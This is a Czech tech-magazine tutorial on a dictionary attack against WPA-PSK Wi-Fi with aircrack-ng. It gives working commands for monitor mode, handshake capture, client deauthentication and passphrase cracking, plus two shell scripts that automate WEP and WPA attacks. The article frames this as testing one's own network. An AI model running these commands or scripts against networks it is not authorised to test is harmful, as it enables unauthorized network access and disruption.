Hlavní navigace

Aircrack-ng: slovníkový útok na WPA-PSK

20. 10. 2008
Doba čtení: 5 minut

Sdílet

Krom WEP existují i další zabezpečení, které s bezpečností nemají moc společného. Konkrétně se jedná o WPA-PSK s velmi krátkým nebo lehce odhadnutelným klíčem. Dnes si ukážeme, jak se do takto zabezpečené sítě dostat a řekneme si, jak se případnému útočníkovi bránit.

Úvod

minulém článku o crackování WiFi sítí jsme rozebírali zabezpečení WEP, které vzhledem k tomu, že používá statické klíče, jde „nabourat“ nejedním typem útoku založeným na odchytávání inicializačních vektorů (IV). S WPA to není tak jednoduché, protože se klíče mění každých několik minut nebo sekund, což záleží na nastavení. Jediná možnost, jak se dostat do WPA sítí, je u APček zabezpečených přes WPA-PSK, a to ještě ne vždy. Zde už hraje roli duchapřítomnost administrátora, který mohl či nemusel nastavit prolomitelné heslo. Pokud použil jednoduché heslo o pár znacích, tak je brute-force útok možný v lepším případě v řádu hodin. U složitějšího hesla už to mohou být dny, ale spíše roky nebo i tisíce let. Velmi dobrým pomocníkem může být kalkulačka brute-force útoků. Brute-force se tak stává prakticky nepoužitelný.

Další alternativou k brute-force je slovníkový útok. Pro testovací účely je tento útok pravděpodobně nejlepší volbou. Při útocích na náhodná APčka se spíše hodí první volba. Takové počínání je ale ve většině případů nelegální.

Oba typy útoků jsou založeny na zkoušení klíče a jak už někteří určitě pochopili, nejdříve musíme získat materiál, který nám umožní naše kombinace zkoušet. Nezáleží na tom, jestli je síť zabezpečena pomocí WPA nebo WPA2, protože jejich ověřovací postup je prakticky stejný. Než začneme s hledáním klíče, musíme odposlechnout autentizační proces, a to uděláme nejlépe tak, že odpojíme připojené klienty, kteří se budou pravděpodobně snažit znovu k síti připojit. Zachycením tohoto procesu končí „zachytávací“ práce a můžeme se pustit do „hádání“ hesla.

Co potřebujeme

Pokud ověřujeme bezpečnost naší sítě, tak pravděpodobně síť postavená je a máme i připojené klienty. Při pouhém zkoumání crackovacího postupu budeme potřebovat tři WiFi karty, a to nejlépe rozdělené aspoň do dvou strojů. První bude dělat APčko a druhý se k němu připojí. Třetí stroj případě druhá WiFi karta u druhého stroje se do tohoto procesu bude snažit dostat. Odpojí první WiFi kartu a pak se pokusí zachytit, jak se zpátky připojuje k APčku.

Třetí karta, která bude pronikat do autentizačního procesu, musí podporovat packet injection, o kterém píšu v minulém článku. Ve zkratce tato vlastnost slouží pro odesílání námi upravených paketů do sítě. Není to ani tak vlastnost karty jako spíš ovladačů, jejichž oficiální verze se jí brání.

Pokud máme fungující síť a potřebný hardware, tak poslední co budeme potřebovat je balík nástrojů aircrack-ng.

Postup

Níže popisovaný postup jsem použil se svou kartou Intel 4965AGN.

Klíče

Dobrý slovník je základem útoku na WPA-PSK, takže si musíme stáhnout nebo vytvořit kvalitní slovník. Vytváření slovníku je možné například pomocí nástroje coWPAtty. Jednodušší ale je, stáhnout si již vytvořený slovník a ten k útoku použít. Několik zdrojů na slovníky je možné najít na stránkách aircrack-ng.

Monitor mód

Přepnutí karty do monitor módu je základem pro každý útok. Na Intel 4965AGN se to dělá následujícím způsobem:

ip l s wlan0 down
iwconfig wlan0 channel <kanál> mode monitor
ip l s wlan0 up 

Druhou možností je využít utilitku airmon-ng, ale ta mi na mém Intelu nefungovala. Pro karty s Atheros chipsetem by neměl být problém.

airmon-ng stop ath0
airmon-ng start wifi0 <kanál> 

Nakonec zkontrolujeme správnost nastavení přes program iwconfig.

Zachytávání

Než začneme jakkoli ovlivňovat síť, tak zapneme zachytávání provozu na síti.

airodump-ng -c <kanál> --bssid <MAC_cíle> -w <log_soubor> wlan0 

Do log souboru se bude ukládat všechno co proběhne po nastaveném kanále. Ten musí být stejný jako kanál, který jsme nastavili přes iwconfig nebo airmon-ng.

Odpojení jednoho či více klientů

Je zbytečné odpojovat více klientů, když jeden stačí. Stává se občas, že ani odeslání toho správného signálu nepomáhá a klienti na to nereagují. V takovém případě musíme počkat, až se jeden z klientů skutečně připojí.

aireplay-ng -0 1 -a <MAC_cíle> -c <MAC_naší_karty> wlan0 

Volba –0 označuje jeden z nejjednodušších útoků a to je odpojení klientů. Jednička označuje kolik jich má být odpojeno.

Nalezení passphrase

Pokud máme vše potřebné pro rozjezd dlouhého porovnávání klíčů, můžeme tak učinit následujícím způsobem:

aircrack-ng -w <soubor_s_klíči> -b <MAC_cíle> <log_soubor>*.cap 

Skripty

S tímto postupem můžeme vylepšit skripty, které jsme použili v minulém článku o možnost útoku na WPA-PSK sítě. Původní skript obsahoval šest kroků.

  • Nahození interface v monitor módu
  • Navrácení interface do původního stavu
  • Zachytávání provozu
  • Autentizace s AP
  • Injektování paketů
  • Hledání klíče

A přidáme další dva kroky.

  • Odpojování připojených klientů
  • Hledání passphrase

První skript fight.sh zůstává stejný.

#!/bin/sh

ESSID=TEST
MYMAC=00:21:5c:47:49:33
TARGETMAC=00:1B:11:C1:A5:62
CHANNEL=1
LOG=/tmp/wpa

if [ "$1" == "r" ]; then
        rmmod iwlagn
        rmmod iwlcore
        rmmod rfkill
        sleep 1
        modprobe iwlagn
fi
if [ "$1" == "s" ]; then
        rmmod iwlagn
        rmmod iwlcore
        rmmod rfkill
        sleep 2
        modprobe iwlagn
        sleep 1
        ip l s wlan0 down
        iwconfig wlan0 mode Monitor
        ip l s wlan0 up
        sleep 2
fi

sh /home/cx/bin/crackwifi.sh $1 $MYMAC $TARGETMAC $ESSID $CHANNEL $LOG 

Druhý dostal zmíněné dva kroky navíc.

ict ve školství 24

#!/bin/sh

MYMAC=$2
TARGETMAC=$3
ESSID=$4
LOG=$6
C=$5

case $1 in
        "-h" )
         echo "$0 <X/4> <moje mac> <cílová mac> <essid> <kanál> <log>"
        ;;
        "1" )
         echo "Logování provozu"
         airodump-ng -c $C --bssid $TARGETMAC -w $LOG wlan0
        ;;
        "2" )
         echo "Připojení k AP"
         #aireplay-ng -1 0 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
         aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
        ;;
        "3" )
         echo "Odesílání upravených paketů"
         aireplay-ng -3 -b $TARGETMAC -h $MYMAC wlan0
        ;;
        "4" )
         echo "Nalezení WEP klíče"
         aircrack-ng -z -b $TARGETMAC $LOG*.cap
        ;;
        "w2" )
         echo "Deautorizace"
         aireplay-ng -0 1 -a $TARGETMAC -c $MYMAC wlan0
        ;;
        "w3" )
         echo "Zkoušení hesel"
         aircrack-ng -w pass.bin -b $TARGETMAC $LOG*.cap
        ;;
esac 

Použití je stejně jednoduché jako předtím. Stačí ve fight.sh vyplnit potřebné proměnné a v případě útoku na WPA-PSK nahrát do aktuálního adresáře soubor pass.bin s klíči a spustit:

sh fight.sh 1  # zachytávání provozu
sh fight.sh w2 # odpojení jednoho klienta
sh fight.sh w3 # pokusit se zjistit passphrasy 

Závěr

Ač se nejedná o zrovna spolehlivý útok, je dobré o něm vědět a připravit svoji síť na podobné pokusy. Nebezpečí, které plyne z volby klíče, by si měl každý uvědomit a podle toho se zařídit. Na druhou stranu pokud útočník zjistí ve svém okolí dvě sítě, z nichž jedna bude mít WPA-PSK a druhá WEP, tak se do té první hned pouštět nebude. Aircrack-ng umí využívat při útoku pouze slovníky a pravděpodobně nenastane den, kdy by bylo možné prolomit WPA-PSK během rozumné doby, tedy nalézt jinou chybu než nezodpovědnost administrátorů, která by šla zneužít.

Odkazy

Autor článku

Adam Štrauch je redaktorem serveru Root.cz a svobodný software nasazuje jak na desktopech tak i na routerech a serverech. Ve svém volném čase se stará o komunitní síť, ve které je již přes 100 členů.